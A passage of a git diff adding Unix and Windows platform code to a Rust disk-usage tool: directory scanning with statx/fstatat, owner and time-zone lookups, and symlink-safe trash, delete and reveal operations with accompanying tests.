!glob_match(b"*.dat", b"d/x.dat")); } + + #[cfg(windows)] + #[test] + fn windows_glob_and_abs() { + assert!(glob_match(br"C:\tmp\*\x", br"C:\tmp\a\x")); + assert!(!glob_match(b"*.log", br"d\x.log")); + assert!(glob_match(b"*.log", b"d/x.log")); + let a = abs_path(br"C:\a\b\..\c\").unwrap(); + assert_eq!(a, br"C:\a\c"); + } } diff --git a/src/platform/unix.rs b/src/platform/unix.rs new file mode 100644 index 0000000..56bdf05 --- /dev/null +++ b/src/platform/unix.rs @@ -0,0 +1,797 @@ +//! Unix: directory reads and stat calls relative to the directory fd, owner +//! names, local time, and the trash/delete/reveal operations. + +use super::{base_name, check_abs, mode, other, Expect, Meta}; +use std::ffi::{CStr, CString, OsStr}; +use std::fs::File; +use std::io; +use std::os::fd::{AsRawFd, FromRawFd, OwnedFd, RawFd}; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::OpenOptionsExt; +use std::path::Path; + +/// Converts a Unix st_mode to the portable layout in `mode`. +#[allow(clippy::unnecessary_cast)] // mode_t is u16 on some systems +pub fn mode_from_unix(m: u32) -> u32 { + let mut out = m & 0o777; + let fmt = m & libc::S_IFMT as u32; + out |= if fmt == libc::S_IFDIR as u32 { + mode::DIR + } else if fmt == libc::S_IFLNK as u32 { + mode::SYMLINK + } else if fmt == libc::S_IFIFO as u32 { + mode::NAMED_PIPE + } else if fmt == libc::S_IFSOCK as u32 { + mode::SOCKET + } else if fmt == libc::S_IFCHR as u32 { + mode::DEVICE | mode::CHAR_DEVICE + } else if fmt == libc::S_IFBLK as u32 { + mode::DEVICE + } else { + 0 + }; + if m & libc::S_ISUID as u32 != 0 { + out |= mode::SETUID; + } + if m & libc::S_ISGID as u32 != 0 { + out |= mode::SETGID; + } + if m & libc::S_ISVTX as u32 != 0 { + out |= mode::STICKY; + } + out +} + +fn cstr(b: &[u8]) -> io::Result { + CString::new(b).map_err(|_| io::Error::from_raw_os_error(libc::EINVAL)) +} + +fn cvt(r: libc::c_int) -> io::Result { + if r < 0 { + Err(io::Error::last_os_error()) + } else { + Ok(r) + } +} + +fn open_dir(path: &[u8]) -> io::Result { + let c = cstr(path)?; + let fd = cvt(unsafe { + libc::open( + c.as_ptr(), + libc::O_RDONLY | libc::O_DIRECTORY | libc::O_CLOEXEC, + ) + })?; + Ok(unsafe { OwnedFd::from_raw_fd(fd) }) +} + +#[cfg(target_os = "linux")] +static NO_STATX: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false); + +/// statx (one call, includes birth time), falling back to fstatat on kernels +/// before 4.11. Called through syscall(2) because not every libc (musl) +/// provides a wrapper. +#[cfg(target_os = "linux")] +fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { + use std::sync::atomic::Ordering; + if !NO_STATX.load(Ordering::Relaxed) { + let mut st: libc::statx = unsafe { std::mem::zeroed() }; + let mask = libc::STATX_BASIC_STATS | libc::STATX_BTIME; + let r = unsafe { + libc::syscall( + libc::SYS_statx, + dirfd, + name.as_ptr(), + flags | libc::AT_STATX_DONT_SYNC, + mask, + &mut st as *mut libc::statx, + ) + }; + if r == 0 { + let mut m = Meta { + mode: mode_from_unix(st.stx_mode as u32), + size: st.stx_size as i64, + alloc: st.stx_blocks as i64 * 512, + alloc_known: true, + mtime: st.stx_mtime.tv_sec * 1_000_000_000 + st.stx_mtime.tv_nsec as i64, + uid: st.stx_uid, + gid: st.stx_gid, + nlink: st.stx_nlink, + dev: libc::makedev(st.stx_dev_major, st.stx_dev_minor), + ino: st.stx_ino, + has_ino: true, + ..Default::default() + }; + if st.stx_mask & libc::STATX_BTIME != 0 { + m.btime = st.stx_btime.tv_sec * 1_000_000_000 + st.stx_btime.tv_nsec as i64; + } + return Ok(m); + } + let err = io::Error::last_os_error(); + if err.raw_os_error() != Some(libc::ENOSYS) { + return Err(err); + } + NO_STATX.store(true, Ordering::Relaxed); + } + fstat_at(dirfd, name, flags) +} + +#[cfg(not(target_os = "linux"))] +fn stat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { + fstat_at(dirfd, name, flags) +} + +fn fstat_at(dirfd: RawFd, name: &CStr, flags: libc::c_int) -> io::Result { + let mut st: libc::stat = unsafe { std::mem::zeroed() }; + cvt(unsafe { libc::fstatat(dirfd, name.as_ptr(), &mut st, flags) })?; + Ok(from_stat(&st)) +} + +#[allow(clippy::unnecessary_cast)] +fn from_stat(st: &libc::stat) -> Meta { + #[cfg(target_os = "netbsd")] + let mtime_nsec = st.st_mtimensec; + #[cfg(not(target_os = "netbsd"))] + let mtime_nsec = st.st_mtime_nsec; + #[cfg(any(target_os = "macos", target_os = "freebsd"))] + let btime = st.st_birthtime as i64 * 1_000_000_000 + st.st_birthtime_nsec as i64; + #[cfg(target_os = "netbsd")] + let btime = st.st_birthtime as i64 * 1_000_000_000 + st.st_birthtimensec as i64; + #[cfg(not(any(target_os = "macos", target_os = "freebsd", target_os = "netbsd")))] + let btime = 0; + Meta { + mode: mode_from_unix(st.st_mode as u32), + size: st.st_size as i64, + alloc: st.st_blocks as i64 * 512, + alloc_known: true, + mtime: st.st_mtime as i64 * 1_000_000_000 + mtime_nsec as i64, + btime, + uid: st.st_uid, + gid: st.st_gid, + nlink: st.st_nlink as u32, + dev: st.st_dev as u64, + ino: st.st_ino as u64, + has_ino: true, + ..Default::default() + } +} + +/// An open directory stream (readdir over the fd we also stat relative to). +struct DirStream { + dir: *mut libc::DIR, +} + +impl Drop for DirStream { + fn drop(&mut self) { + unsafe { libc::closedir(self.dir) }; + } +} + +fn errno_location() -> *mut libc::c_int { + #[cfg(any(target_os = "linux", target_os = "android"))] + return unsafe { libc::__errno_location() }; + #[cfg(any(target_os = "macos", target_os = "ios", target_os = "freebsd"))] + return unsafe { libc::__error() }; + #[cfg(any(target_os = "netbsd", target_os = "openbsd"))] + return unsafe { libc::__errno() }; +} + +/// Streams the entries of a directory in chunks of up to `chunk`, stat-ing +/// each entry relative to the directory fd (no repeated path resolution). +/// Returning an error from f stops the read and returns it. +pub fn read_dir>( + path: &[u8], + chunk: usize, + mut f: impl FnMut(Vec) -> Result<(), E>, +) -> Result<(), E> { + let fd = open_dir(path)?; + let raw = fd.as_raw_fd(); + let dir = unsafe { libc::fdopendir(raw) }; + if dir.is_null() { + return Err(io::Error::last_os_error().into()); + } + std::mem::forget(fd); // owned by the DIR stream now + let ds = DirStream { dir }; + let mut out = Vec::with_capacity(chunk); + loop { + // readdir signals an error only through errno. + unsafe { *errno_location() = 0 }; + let ent = unsafe { libc::readdir(ds.dir) }; + if ent.is_null() { + let e = io::Error::last_os_error(); + if e.raw_os_error().unwrap_or(0) != 0 { + return Err(e.into()); + } + break; + } + let name = unsafe { CStr::from_ptr((*ent).d_name.as_ptr()) }; + let nb = name.to_bytes(); + if nb == b"." || nb == b".." { + continue; + } + let mut m = stat_at(raw, name, libc::AT_SYMLINK_NOFOLLOW).unwrap_or_else(|e| Meta { + err: Some(e), + ..Default::default() + }); + m.name = nb.to_vec(); + out.push(m); + if out.len() >= chunk { + f(std::mem::replace(&mut out, Vec::with_capacity(chunk)))?; + } + } + if !out.is_empty() { + f(out)?; + } + Ok(()) +} + +pub(super) fn stat_path(path: &[u8], follow: bool) -> io::Result { + let c = cstr(path)?; + let flags = if follow { 0 } else { libc::AT_SYMLINK_NOFOLLOW }; + let mut m = stat_at(libc::AT_FDCWD, &c, flags)?; + m.name = base_name(path).to_vec(); + Ok(m) +} + +pub(super) fn lookup_os_name(group: bool, id: u32) -> Option { + let mut buf = vec![0u8; 16384]; + unsafe { + if group { + let mut gr: libc::group = std::mem::zeroed(); + let mut res = std::ptr::null_mut(); + libc::getgrgid_r(id, &mut gr, buf.as_mut_ptr().cast(), buf.len(), &mut res); + (!res.is_null()).then(|| CStr::from_ptr(gr.gr_name).to_string_lossy().into_owned()) + } else { + let mut pw: libc::passwd = std::mem::zeroed(); + let mut res = std::ptr::null_mut(); + libc::getpwuid_r(id, &mut pw, buf.as_mut_ptr().cast(), buf.len(), &mut res); + (!res.is_null()).then(|| CStr::from_ptr(pw.pw_name).to_string_lossy().into_owned()) + } + } +} + +/// The system time zone's offset from UTC (seconds east) at unix time secs. +#[allow(deprecated)] // libc::time_t on 32-bit musl +#[allow(clippy::unnecessary_cast)] +pub(super) fn local_offset(secs: i64) -> i32 { + let t = secs as libc::time_t; + let mut tm: libc::tm = unsafe { std::mem::zeroed() }; + if unsafe { libc::localtime_r(&t, &mut tm) }.is_null() { + return 0; + } + tm.tm_gmtoff as i32 +} + +/// The host name, or "" if unknown. +pub fn hostname() -> String { + let mut b = [0u8; 256]; + if unsafe { libc::gethostname(b.as_mut_ptr() as *mut libc::c_char, b.len()) } != 0 { + return String::new(); + } + let n = b.iter().position(|&c| c == 0).unwrap_or(b.len()); + String::from_utf8_lossy(&b[..n]).into_owned() +} + +/// Linux pseudo-filesystems whose contents are not disk usage. +#[cfg(target_os = "linux")] +const VIRTUAL_FS: [i64; 19] = [ + 0x9fa0, // proc + 0x62656572, // sysfs + 0x1cd1, // devpts + 0x27e0eb, // cgroup + 0x63677270, // cgroup2 + 0x64626720, // debugfs + 0x74726163, // tracefs + 0x73636673, // securityfs + 0x6165676c, // pstore + 0xcafe4a11, // bpf + 0x62656570, // configfs + 0x65735543, // fusectl + 0x19800202, // mqueue + 0xde5e81e4, // efivarfs + 0x42494e4d, // binfmt_misc + 0xf97cff8c, // selinuxfs + 0x958458f6, // hugetlbfs + 0x6e736673, // nsfs + 0x50495045, // pipefs +]; + +/// Whether path is the root of a pseudo filesystem (proc, sysfs, cgroup, …) +/// that should not be scanned as disk usage. Only Linux has these. +#[cfg(target_os = "linux")] +#[allow(clippy::unnecessary_cast)] +pub fn is_virtual_fs(path: &[u8]) -> bool { + let Ok(c) = cstr(path) else { return false }; + let mut st: libc::statfs = unsafe { std::mem::zeroed() }; + if unsafe { libc::statfs(c.as_ptr(), &mut st) } != 0 { + return false; + } + // f_type is 32-bit on some architectures: compare as unsigned 32-bit. + VIRTUAL_FS.contains(&(st.f_type as u32 as i64)) +} + +/// Whether path is the root of a pseudo filesystem. Only Linux has these. +#[cfg(not(target_os = "linux"))] +pub fn is_virtual_fs(_: &[u8]) -> bool { + false +} + +/// Opens a file whose content is about to be read. It does not follow a +/// final symlink, and O_NONBLOCK keeps a FIFO swapped in since the scan from +/// blocking open(2) forever; callers still check the file type. +pub fn open_content(path: &Path) -> io::Result { + std::fs::OpenOptions::new() + .read(true) + .custom_flags(libc::O_NOFOLLOW | libc::O_NONBLOCK) + .open(path) +} + +/// Creates a new file readable and writable only by the owner. +pub fn create_private(path: &Path) -> io::Result { + std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .mode(0o600) + .open(path) +} + +const CHANGED: &str = "item changed since the scan (owner or type differs); rescan first"; + +fn split_parent(path: &Path) -> io::Result<(&Path, &OsStr)> { + match (path.parent(), path.file_name()) { + (Some(d), Some(b)) => Ok((d, b)), + _ => Err(other("refusing to operate on a filesystem root")), + } +} + +fn check_expect(dirfd: RawFd, base: &CStr, want: Expect) -> io::Result { + let mut st: libc::stat = unsafe { std::mem::zeroed() }; + cvt(unsafe { libc::fstatat(dirfd, base.as_ptr(), &mut st, libc::AT_SYMLINK_NOFOLLOW) })?; + #[allow(clippy::unnecessary_cast)] + if st.st_uid != want.uid + || mode_from_unix(st.st_mode as u32) & mode::TYPE != want.mode & mode::TYPE + { + return Err(other(CHANGED)); + } + Ok(st) +} + +/// Permanently removes path (recursively for a directory) if it still +/// matches want. The check and the removal both go through descriptors +/// opened from the parent directory without following symlinks, so a +/// symlink swapped in since the scan cannot redirect the removal outside it. +pub fn delete(path: &Path, want: Expect) -> io::Result<()> { + check_abs(path)?; + let (dir, base) = split_parent(path)?; + let dfd = open_dir(dir.as_os_str().as_bytes())?; + let cbase = cstr(base.as_bytes())?; + let st = check_expect(dfd.as_raw_fd(), &cbase, want)?; + remove_at( + dfd.as_raw_fd(), + &cbase, + st.st_mode & libc::S_IFMT == libc::S_IFDIR, + ) +} + +fn remove_at(dirfd: RawFd, name: &CStr, is_dir: bool) -> io::Result<()> { + if !is_dir { + return cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), 0) }).map(|_| ()); + } + let fd = cvt(unsafe { + libc::openat( + dirfd, + name.as_ptr(), + libc::O_RDONLY | libc::O_DIRECTORY | libc::O_NOFOLLOW | libc::O_CLOEXEC, + ) + })?; + let sub = unsafe { OwnedFd::from_raw_fd(fd) }; + // Collect names first: removing while iterating a DIR stream is unspecified. + let mut names = Vec::new(); + let dup = cvt(unsafe { libc::dup(sub.as_raw_fd()) })?; + let dir = unsafe { libc::fdopendir(dup) }; + if dir.is_null() { + unsafe { libc::close(dup) }; + return Err(io::Error::last_os_error()); + } + let ds = DirStream { dir }; + loop { + let ent = unsafe { libc::readdir(ds.dir) }; + if ent.is_null() { + break; + } + let n = unsafe { CStr::from_ptr((*ent).d_name.as_ptr()) }; + if n.to_bytes() != b"." && n.to_bytes() != b".." { + let t = unsafe { (*ent).d_type }; + let is_dir = match t { + libc::DT_UNKNOWN => fstat_at(sub.as_raw_fd(), n, libc::AT_SYMLINK_NOFOLLOW) + .is_ok_and(|m| mode::is_dir(m.mode)), + t => t == libc::DT_DIR, + }; + names.push((n.to_owned(), is_dir)); + } + } + drop(ds); + for (n, d) in names { + remove_at(sub.as_raw_fd(), &n, d)?; + } + cvt(unsafe { libc::unlinkat(dirfd, name.as_ptr(), libc::AT_REMOVEDIR) }).map(|_| ()) +} + +/// Moves path to dst if it still matches want. The parent directory is +/// opened once and both the check and the rename are relative to that +/// descriptor, so a parent swapped for a symlink since the scan (or between +/// check and rename) cannot redirect the move to another user's file. +#[cfg(any(target_os = "linux", target_os = "macos"))] +fn rename_checked(path: &Path, dst: &Path, want: Expect) -> io::Result<()> { + let (dir, base) = split_parent(path)?; + let dfd = open_dir(dir.as_os_str().as_bytes())?; + let cbase = cstr(base.as_bytes())?; + check_expect(dfd.as_raw_fd(), &cbase, want)?; + let cdst = cstr(dst.as_os_str().as_bytes())?; + cvt(unsafe { + libc::renameat( + dfd.as_raw_fd(), + cbase.as_ptr(), + libc::AT_FDCWD, + cdst.as_ptr(), + ) + }) + .map(|_| ()) +} + +/// Creates dir (mode 0700) if missing; an existing entry must be a real +/// directory (not a symlink) owned by us. With strict (trash on a shared +/// filesystem) it must also be inaccessible to others, as the freedesktop.org +/// spec requires; home trash directories made by desktop environments are +/// sometimes 0755, which is harmless there. +#[cfg(any(target_os = "linux", target_os = "macos"))] +fn ensure_private_dir(dir: &Path, strict: bool) -> io::Result<()> { + use std::os::unix::fs::{DirBuilderExt, MetadataExt}; + if let Err(e) = std::fs::DirBuilder::new().mode(0o700).create(dir) { + if e.kind() != io::ErrorKind::AlreadyExists { + return Err(e); + } + } + let md = std::fs::symlink_metadata(dir)?; + if !md.is_dir() { + return Err(other("not a directory (symlink?)")); + } + if md.uid() != unsafe { libc::getuid() } { + return Err(other("owned by another user")); + } + if strict && md.mode() & 0o077 != 0 { + return Err(other("accessible to other users")); + } + Ok(()) +} + +/// Whether there is no graphical session (no X or Wayland display), so there +/// is no file manager to open and no desktop trash anyone will empty. +#[cfg(not(target_os = "macos"))] +pub fn headless() -> bool { + std::env::var_os("DISPLAY").is_none_or(|v| v.is_empty()) + && std::env::var_os("WAYLAND_DISPLAY").is_none_or(|v| v.is_empty()) +} + +#[cfg(target_os = "linux")] +pub use linux::*; + +#[cfg(target_os = "linux")] +mod linux { + use super::*; + use std::io::Write; + use std::os::unix::fs::MetadataExt; + use std::path::PathBuf; + + /// The user-facing name of the trash. + pub const TRASH_NAME: &str = "trash"; + + /// Opens the item's directory in the desktop file manager. + pub fn reveal(path: &Path) -> io::Result<()> { + check_abs(path)?; + let md = std::fs::symlink_metadata(path)?; + let target = if md.is_dir() { + path + } else { + path.parent().unwrap_or(path) + }; + crate::platform::start_detached("xdg-open", &[target.as_os_str()]) + } + + /// The top directory of the filesystem containing path. + fn mount_top(path: &Path, dev: u64) -> PathBuf { + let mut cur = path.parent().unwrap_or(path).to_path_buf(); + loop { + let Some(parent) = cur.parent() else { + return cur; + }; + match std::fs::metadata(parent) { + Ok(m) if m.dev() == dev => cur = parent.to_path_buf(), + _ => return cur, + } + } + } + + fn percent_encode_path(p: &[u8]) -> String { + let mut s = String::with_capacity(p.len()); + for &b in p { + if b.is_ascii_alphanumeric() || b"-._~/!$&'()*+,;=:@".contains(&b) { + s.push(b as char); + } else { + s.push_str(&format!("%{b:02X}")); + } + } + s + } + + fn local_timestamp() -> String { + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default(); + let t = crate::platform::local_time(now.as_secs() as i64); + format!( + "{:04}-{:02}-{:02}T{:02}:{:02}:{:02}", + t.year, t.month, t.day, t.hour, t.min, t.sec + ) + } + + /// Moves path to the freedesktop.org trash: the home trash when on the + /// same filesystem, otherwise $topdir/.Trash-$uid on the item's + /// filesystem. It never copies across filesystems and never deletes. + pub fn trash(path: &Path, want: Expect) -> io::Result<()> { + check_abs(path)?; + let dev = std::fs::symlink_metadata(path)?.dev(); + let data_home = match std::env::var_os("XDG_DATA_HOME").filter(|v| !v.is_empty()) { + Some(d) => PathBuf::from(d), + None => { + let home = std::env::var_os("HOME") + .filter(|v| !v.is_empty()) + .ok_or_else(|| other("$HOME is not defined"))?; + PathBuf::from(home).join(".local/share") + } + }; + let home = data_home.join("Trash"); + let (trash, info_path): (PathBuf, Vec) = match std::fs::metadata(&data_home) { + Ok(m) if m.dev() == dev => (home.clone(), path.as_os_str().as_bytes().to_vec()), + _ => { + let top = mount_top(path, dev); + let rel = path.strip_prefix(&top).map_err(|e| other(e.to_string()))?; + ( + top.join(format!(".Trash-{}", unsafe { libc::getuid() })), + rel.as_os_str().as_bytes().to_vec(), + ) + } + }; + let shared = trash != home; + if !shared { + use std::os::unix::fs::DirBuilderExt; + std::fs::DirBuilder::new() + .recursive(true) + .mode(0o700) + .create(&trash)?; + } else if let Err(e) = ensure_private_dir(&trash, true) { + // On a shared filesystem another user could plant a symlink or a + // world-writable directory here; refuse rather than follow it. + return Err(other(format!( + "trash directory {} is unsafe: {e}", + trash.display() + ))); + } + let (files, info) = (trash.join("files"), trash.join("info")); + for d in [&files, &info] { + ensure_private_dir(d, shared) + .map_err(|e| other(format!("trash directory {} is unsafe: {e}", d.display())))?; + } + let base = path.file_name().ok_or_else(|| other("no file name"))?; + for i in 1..10000 { + let mut name = base.to_os_string(); + if i > 1 { + name.push(format!(".{i}")); + } + let dst = files.join(&name); + if std::fs::symlink_metadata(&dst).is_ok() { + continue; // never overwrite an earlier trashed item (even without .trashinfo) + } + let mut info_name = name.clone(); + info_name.push(".trashinfo"); + let ip = info.join(info_name); + let mut f = match create_private(&ip) { + Ok(f) => f, + Err(e) if e.kind() == io::ErrorKind::AlreadyExists => continue, + Err(e) => return Err(e), + }; + let w = write!( + f, + "[Trash Info]\nPath={}\nDeletionDate={}\n", + percent_encode_path(&info_path), + local_timestamp() + ) + .and_then(|_| f.sync_all()); + drop(f); + if let Err(e) = w.and_then(|_| rename_checked(path, &dst, want)) { + let _ = std::fs::remove_file(&ip); + return Err(e); + } + return Ok(()); + } + Err(other("trash: too many items with the same name")) + } +} + +#[cfg(target_os = "macos")] +pub use macos::*; + +#[cfg(target_os = "macos")] +mod macos { + use super::*; + use std::path::PathBuf; + + /// The user-facing name of the trash. + pub const TRASH_NAME: &str = "Trash"; + + /// Selects the item in Finder. + pub fn reveal(path: &Path) -> io::Result<()> { + check_abs(path)?; + crate::platform::start_detached("open", &[OsStr::new("-R"), path.as_os_str()]) + } + + /// Always false: macOS has Finder and the Trash without an X display. + pub fn headless() -> bool { + false + } + + /// "/Volumes/" for a path on a mounted volume, else None. + fn volume_of(path: &Path) -> Option { + let rest = path.strip_prefix("/Volumes/").ok()?; + rest.components() + .next() + .map(|c| Path::new("/Volumes").join(c)) + } + + /// Moves path into ~/.Trash (same volume) or the volume's .Trashes/ + /// directory. It never copies and never deletes. + pub fn trash(path: &Path, want: Expect) -> io::Result<()> { + check_abs(path)?; + let home = std::env::var_os("HOME") + .filter(|v| !v.is_empty()) + .ok_or_else(|| other("$HOME is not defined"))?; + let mut dirs = vec![PathBuf::from(home).join(".Trash")]; + if let Some(vol) = volume_of(path) { + dirs.push( + vol.join(".Trashes") + .join(unsafe { libc::getuid() }.to_string()), + ); + } + let base = path.file_name().ok_or_else(|| other("no file name"))?; + for (vi, dir) in dirs.iter().enumerate() { + if dir + .parent() + .is_some_and(|p| std::fs::create_dir_all(p).is_err()) + { + continue; + } + // A volume trash is on a shared filesystem: another user could + // plant a symlink or an open directory there, so insist on a + // private one. + if ensure_private_dir(dir, vi > 0).is_err() { + continue; + } + for i in 1..10000 { + let mut name = base.to_os_string(); + if i > 1 { + name.push(format!(" {i}")); + } + let dst = dir.join(&name); + if std::fs::symlink_metadata(&dst).is_ok() { + continue; + } + match rename_checked(path, &dst, want) { + Err(e) if e.raw_os_error() == Some(libc::EXDEV) => break, // try the next trash location + r => return r, + } + } + } + Err(other("trash: item is on a volume without a usable trash")) + } +} + +#[cfg(not(any(target_os = "linux", target_os = "macos")))] +pub use bsd::*; + +/// FreeBSD, NetBSD and other Unix systems: no desktop trash or file +/// manager integration. Permanent delete is still available. +#[cfg(not(any(target_os = "linux", target_os = "macos")))] +mod bsd { + use super::*; + + /// The user-facing name of the trash. + pub const TRASH_NAME: &str = "trash"; + + /// Unsupported on this platform. + pub fn reveal(_: &Path) -> io::Result<()> { + Err(other("not supported on this platform")) + } + + /// Unsupported on this platform. + pub fn trash(_: &Path, _: Expect) -> io::Result<()> { + Err(other("trash not supported on this platform")) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn uid() -> u32 { + unsafe { libc::getuid() } + } + + fn tmp(tag: &str) -> std::path::PathBuf { + let d = std::env::temp_dir().join(format!("mapsize-{tag}-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&d); + std::fs::create_dir_all(&d).unwrap(); + d + } + + #[test] + fn delete_refuses_changed_type() { + let d = tmp("del"); + std::fs::create_dir_all(d.join("sub/inner")).unwrap(); + std::fs::write(d.join("sub/inner/f"), b"x").unwrap(); + // A symlink inside must be removed, not followed. + std::fs::write(d.join("keep"), b"k").unwrap(); + std::os::unix::fs::symlink(d.join("keep"), d.join("sub/link")).unwrap(); + assert!(delete( + &d.join("sub"), + Expect { + uid: uid(), + mode: 0 + } + ) + .is_err()); + delete( + &d.join("sub"), + Expect { + uid: uid(), + mode: mode::DIR, + }, + ) + .unwrap(); + assert!(!d.join("sub").exists()); + assert!(d.join("keep").exists()); + assert!(delete(Path::new("relative/path"), Expect { uid: 0, mode: 0 }).is_err()); + std::fs::remove_dir_all(&d).unwrap(); + } + + #[test] + #[allow(clippy::unnecessary_cast)] + fn mode_bits() { + assert_eq!( + mode_from_unix(libc::S_IFDIR as u32 | 0o755), + mode::DIR | 0o755 + ); + assert_eq!( + mode_from_unix(libc::S_IFCHR as u32 | 0o600), + mode::DEVICE | mode::CHAR_DEVICE | 0o600 + ); + assert_eq!( + mode_from_unix(libc::S_IFREG as u32 | libc::S_ISUID as u32 | 0o4755), + mode::SETUID | 0o755 + ); + } + + #[cfg(target_os = "linux")] + #[test] + fn ensure_private_dir_rejects_symlink_and_open_dir() { + use std::os::unix::fs::PermissionsExt; + let d = tmp("priv"); + std::fs::create_dir(d.join("attacker")).unwrap(); + std::os::unix::fs::symlink(d.join("attacker"), d.join(".Trash-1000")).unwrap(); + assert!(ensure_private_dir(&d.join(".Trash-1000"), false).is_err()); + std::fs::create_dir(d.join("open")).unwrap(); + std::fs::set_permissions(d.join("open"), std::fs::Permissions::from_mode(0o777)).unwrap(); + assert!(ensure_private_dir(&d.join("open"), true).is_err()); + ensure_private_dir(&d.join("fresh"), true).unwrap(); + std::fs::remove_dir_all(&d).unwrap(); + } +} diff --git a/src/platform/windows.rs b/src/platform/windows.rs new file mode 100644 index 0000000..712aa01 --- /dev/null +++ b/src/platform/windows.rs @@ -0,0 +1,200 @@ +//! Windows: std directory listing and metadata, Recycle Bin and Explorer. +//! +//! Allocated size is reported as unknown (it would cost an extra handle open +//! per file), and there is no inode identity, owner or link count: symlinks +//! are never followed and hard links are not deduplicated. + +use super::{base_name, check_abs, mode, os_bytes, other, path_from_bytes, Expect, Meta}; +use std::fs::{File, Metadata}; +use std::io; +use std::os::windows::ffi::OsStrExt; +use std::path::Path; +use std::time::{SystemTime, UNIX_EPOCH}; + +fn nanos(t: io::Result) -> i64 { + match t { + Ok(t) => match t.duration_since(UNIX_EPOCH) { + Ok(d) => d.as_nanos() as i64, + Err(e) => -(e.duration().as_nanos() as i64), + }, + Err(_) => 0, + } +} + +/// Permissions follow the read-only attribute (0444 or 0666, plus 0111 for +/// directories). Symlinks and junctions both report as symlinks. +fn mode_of(md: &Metadata) -> u32 { + let ft = md.file_type(); + let mut m = if md.permissions().readonly() { + 0o444 + } else { + 0o666 + }; + if ft.is_symlink() { + m |= mode::SYMLINK; + } else if ft.is_dir() { + m |= mode::DIR | 0o111; + } + m +} + +fn from_metadata(md: &Metadata) -> Meta { + let size = md.len() as i64; + Meta { + mode: mode_of(md), + size, + alloc: size, + mtime: nanos(md.modified()), + btime: nanos(md.created()), + nlink: 1, + ..Default::default() + } +} + +/// Streams the entries of a directory in chunks of up to `chunk`. Entry +/// metadata comes from the directory listing itself and does not follow +/// symlinks. Returning an error from f stops the read and returns it. +pub fn read_dir>( + path: &[u8], + chunk: usize, + mut f: impl FnMut(Vec) -> Result<(), E>, +) -> Result<(), E> { + let mut out = Vec::with_capacity(chunk); + for de in std::fs::read_dir(path_from_bytes(path))? { + let de = de?; + let mut m = de + .metadata() + .map(|md| from_metadata(&md)) + .unwrap_or_else(|e| Meta { + err: Some(e), + ..Default::default() + }); + m.name = os_bytes(&de.file_name()).to_vec(); + out.push(m); + if out.len() >= chunk { + f(std::mem::replace(&mut out, Vec::with_capacity(chunk)))?; + } + } + if !out.is_empty() { + f(out)?; + } + Ok(()) +} + +pub(super) fn stat_path(path: &[u8], follow: bool) -> io::Result { + let p = path_from_bytes(path); + let md = if follow { + std::fs::metadata(&p) + } else { + std::fs::symlink_metadata(&p) + }?; + let mut m = from_metadata(&md); + m.name = base_name(path).to_vec(); + Ok(m) +} + +/// Windows has no numeric uid/gid; names fall back to the number. +pub(super) fn lookup_os_name(_: bool, _: u32) -> Option { + None +} + +/// The system time zone's offset from UTC (seconds east) at unix time secs. +pub(super) fn local_offset(secs: i64) -> i32 { + use windows_sys::Win32::Foundation::SYSTEMTIME; + use windows_sys::Win32::System::Time::SystemTimeToTzSpecificLocalTime; + let (y, mo, d) = super::civil_from_days(secs.div_euclid(86400)); + if !(1601..=30827).contains(&y) { + return 0; + } + let rem = secs.rem_euclid(86400); + let utc = SYSTEMTIME { + wYear: y as u16, + wMonth: mo as u16, + wDayOfWeek: 0, + wDay: d as u16, + wHour: (rem / 3600) as u16, + wMinute: (rem / 60 % 60) as u16, + wSecond: (rem % 60) as u16, + wMilliseconds: 0, + }; + let mut local: SYSTEMTIME = unsafe { std::mem::zeroed() }; + if unsafe { SystemTimeToTzSpecificLocalTime(std::ptr::null(), &utc, &mut local) } == 0 { + return 0; + } + let l = super::days_from_civil(local.wYear as i64, local.wMonth as i64, local.wDay as i64) + * 86400 + + local.wHour as i64 * 3600 + + local.wMinute as i64 * 60 + + local.wSecond as i64; + (l - secs) as i32 +} + +/// The host name, or "" if unknown. +pub fn hostname() -> String { + std::env::var("COMPUTERNAME").unwrap_or_default() +} + +/// Whether path is the root of a pseudo filesystem. Windows has none. +pub fn is_virtual_fs(_: &[u8]) -> bool { + false +} + +/// Opens a file whose content is about to be read; callers check the type. +pub fn open_content(path: &Path) -> io::Result { + File::open(path) +} + +/// Creates a new file (it inherits the directory's access control list). +pub fn create_private(path: &Path) -> io::Result { + std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .open(path) +} + +/// The user-facing name of the trash. +pub const TRASH_NAME: &str = "Recycle Bin"; + +/// Always false: Windows always has Explorer and the Recycle Bin. +pub fn headless() -> bool { + false +} + +/// Selects the item in Explorer. +pub fn reveal(path: &Path) -> io::Result<()> { + check_abs(path)?; + super::start_detached("explorer.exe", &["/select,".as_ref(), path.as_os_str()]) +} + +/// Moves path to the Recycle Bin (SHFileOperationW with FOF_ALLOWUNDO). It +/// never deletes permanently. want is not checked: the scan records no owner +/// or inode identity on Windows. +pub fn trash(path: &Path, _: Expect) -> io::Result<()> { + use windows_sys::Win32::UI::Shell::{ + SHFileOperationW, FOF_ALLOWUNDO, FOF_NO_UI, FO_DELETE, SHFILEOPSTRUCTW, + }; + check_abs(path)?; + // A list of paths, each NUL-terminated, ending with an extra NUL. + let mut from: Vec = path.as_os_str().encode_wide().collect(); + if from.contains(&0) { + return Err(other("path contains NUL")); + } + from.extend([0, 0]); + let mut op: SHFILEOPSTRUCTW = unsafe { std::mem::zeroed() }; + op.wFunc = FO_DELETE; + op.pFrom = from.as_ptr(); + op.fFlags = (FOF_ALLOWUNDO | FOF_NO_UI) as u16; + let r = unsafe { SHFileOperationW(&mut op) }; + if r != 0 { + return Err(other(format!("SHFileOperation failed: code {r}"))); + } + if op.fAnyOperationsAborted != 0 { + return Err(other("operation aborted")); + } + Ok(()) +} + +/// Permanent delete is not offered on Windows; items go to the Recycle Bin. +pub fn delete(_: &Path, _: Expect) -> io::Result<()> { + Err(other("permanent delete not supported on Windows")) +} diff --git a/src/scan.rs b/src/scan.rs index ef6852f..812c565 100644 --- a/src/scan.rs +++ b/src/scan.rs @@ -484,7 +484,8 @@ impl Controller { 